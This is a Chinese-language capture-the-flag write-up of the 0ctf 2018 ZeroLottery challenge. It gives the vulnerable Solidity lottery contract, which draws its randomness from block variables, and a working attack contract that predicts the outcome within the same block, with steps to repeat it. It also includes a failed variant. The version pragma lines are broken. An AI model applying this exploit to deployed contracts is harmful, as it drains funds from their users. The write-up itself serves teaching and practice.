Randomness(1)

随机数类型 wiki部分 wp1

0ctf 2018 ZeroLottery

题目最终需要我们做到的是

Your goal is make your ZeroLottery’s balance > 500

题目源码

pragma solidity
{ #0}
.4.21;
contract ZeroLottery {
    struct SeedComponents {
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }

    uint private base = 8;

    address private owner;
    mapping (address => uint256) public balanceOf;

    function ZeroLottery() public {
        owner = msg.sender;
    }
    
    function init() public payable {
        balanceOf[msg.sender] = 100;   //初始化,初始金额100
    }
    
    function bet(uint guess) public payable {
        require(msg.value>1 ether);
        require(balanceOf[msg.sender] > 0);
        // uint secretSeed = seed(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
        uint secretSeed =  uint256(keccak256(
            (uint)(block.coinbase),
            block.difficulty,
            block.gaslimit,
            block.timestamp
        ));
        uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
        if (guess != n) {
            balanceOf[msg.sender] = 0;
            // charge 0.5 ether for failure
            msg.sender.transfer(msg.value - 0.5 ether);//猜错了,扣0.5 ether.
            return;
        }
        // charge 1 ether for success
        msg.sender.transfer(msg.value - 1 ether); // 猜对了,1 ether换balance100
        balanceOf[msg.sender] = balanceOf[msg.sender] + 100;
    }

    function paolu() public payable {
        require(msg.sender == owner);
        selfdestruct(owner);
    }

}

解题

不怎么需要分析就是单纯的随机数预测,题目使用区块变量来生成了伪随机数,所以我们部署第三方合约调用函数时用同样的方法计算seed生成出来的随机数是一样的,因为此时两合约打包在一个区块中,所以所使用到的区块变量都是一样的。

攻击合约.

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.21;

import "./source.sol";
contract exp {
    address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);
    ZeroLottery target = ZeroLottery(constance);
    constructor() payable public{
        
    }
    uint private base = 8;

    function betSucess() public payable{
        uint secretSeed = uint256(keccak256(
            (uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp
        ));
        uint n = uint(keccak256(uint(this), secretSeed)) % base;
        target.bet.value(1.1 ether)(n);
    }

    function getBalance() public view returns (uint){
        return target.balanceOf(address(this));
    }

    function InitBalance() public {
        target.init();
    }
}

初始化一次。然后调用四次betSucess即可。还有一种回滚攻击看看wp吧,很容易理解。

一些疑问

当我这样去写exp时,并不能每次都计算出正确的随机数,并且尝试了多次最多就只能正确算出一次,无法连续正确计算几次。

// SPDX-License-Identifier: MIT
pragma solidity
{ #0}
.4.21;

import "./source.sol";
contract exp {
    address constance = address(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8);
    ZeroLottery target = ZeroLottery(constance);
    struct SeedComponents {
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    constructor() payable public{
        
    }
    uint private base = 8;
    function seedSame(SeedComponents components) internal pure returns (uint) {
        uint secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        return secretSeed;
    }

    function betSucess() public payable{
        uint secretSeed = seedSame(SeedComponents((uint)(block.coinbase), block.difficulty, block.gaslimit, block.timestamp));
        uint n = uint(keccak256(uint(msg.sender), secretSeed)) % base;
        target.bet.value(1.1 ether)(n);
    }

    function getBalance() public view returns (uint){
        return target.balanceOf(address(this));
    }

    function InitBalance() public {
        target.init();
    }
}